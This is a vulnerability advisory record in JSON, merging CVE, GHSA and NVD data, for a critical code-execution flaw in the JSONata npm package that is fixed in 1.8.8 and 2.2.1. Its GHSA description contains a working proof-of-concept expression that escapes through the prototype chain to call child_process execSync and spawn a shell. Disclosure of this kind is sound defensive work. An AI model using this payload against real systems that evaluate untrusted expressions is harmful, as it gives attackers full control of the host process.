{"id":"CVE-2026-77414","aliases":["CVE-2026-77414","GHSA-2943-5xfg-gq5f"],"related":[],"kind":"vulnerability","state":"published","title":"JSONata: Arbitrary Code Execution via crafted JSONata expressions","summary":"JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.","source":"cvelist"},{"lang":"en","text":"Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with\ncrafted expressions, due to a bypassable `hasOwnProperty` check in\n`environment.lookup`\nhttps://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871\n\nThis was fixed in https://github.com/jsonata-js/jsonata/pull/799\n(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)\nwhich is included in the `2.2.1` release, and then back-ported to the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n     $hasOwnProperty := $spread($string);\n     $__proto__ := $constructor;\n     $constructor(\"return\nprocess.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})\")();\n)`);\n\nawait expression.evaluate({});\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"JSONata es un lenguaje de consulta y transformación de JSON. Antes de 1.8.8 y 2.2.1, la función environment.lookup de src/jsonata.js utilizaba una comprobación de hasOwnProperty que podía ser eludida. Expresiones manipuladas podían usar $hasOwnProperty, $spread, $string, acceso a prototipos y $constructor para alcanzar el prototipo del objeto e invocar process.getBuiltinModule con child_process, ejecutando código arbitrario con los privilegios del proceso anfitrión. Este problema está corregido en las versiones 1.8.8 y 2.2.1.","source":"nvd"}],"published":"2026-08-21T20:51:43.500Z","modified":"2026-10-12T16:10:00.220Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"CRITICAL"}],"cwes":["CWE-94"],"affected":[{"ranges":[{"version":"< 1.8.8","status":"affected"},{"version":">= 2.0.0, < 2.2.1","status":"affected"}],"vendor":"jsonata-js","product":"jsonata","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"2.0.0","status":"affected","fixed":"2.2.1"}],"ecosystem":"npm","package":"jsonata","purl":"pkg:npm/jsonata","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.8.8"}],"ecosystem":"npm","package":"jsonata","purl":"pkg:npm/jsonata","source":"ghsa"}],"references":[{"url":"https://github.com/jsonata-js/jsonata/security/advisories/GHSA-2943-5xfg-gq5f","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/jsonata-js/jsonata/pull/799","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/jsonata-js/jsonata/commit/59e25144fc3b7125f6befd71b8a6e14e1fa610d2","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/jsonata-js/jsonata/releases/tag/v2.2.1","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/jsonata-js/jsonata/commit/f09df8416eab8ff44926fc6527c80fb8701de159","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/jsonata-js/jsonata","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-08-26T17:41:27.109Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-77414","url":"https://www.cve.org/CVERecord?id=CVE-2026-77414","licence":"CVE Terms of Use","modified":"2026-08-26T17:42:09.319Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-2943-5xfg-gq5f","url":"https://github.com/advisories/GHSA-2943-5xfg-gq5f","licence":"CC-BY-4.0","modified":"2026-08-21T21:10:59.416Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-77414","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77414","licence":"Public domain","modified":"2026-10-12T16:10:00.220Z"}],"updatedAt":"2026-11-25T22:59:34.840Z","epss":{"score":0.00432,"percentile":0.39245,"date":"2026-12-01T12:00:22.000Z"}}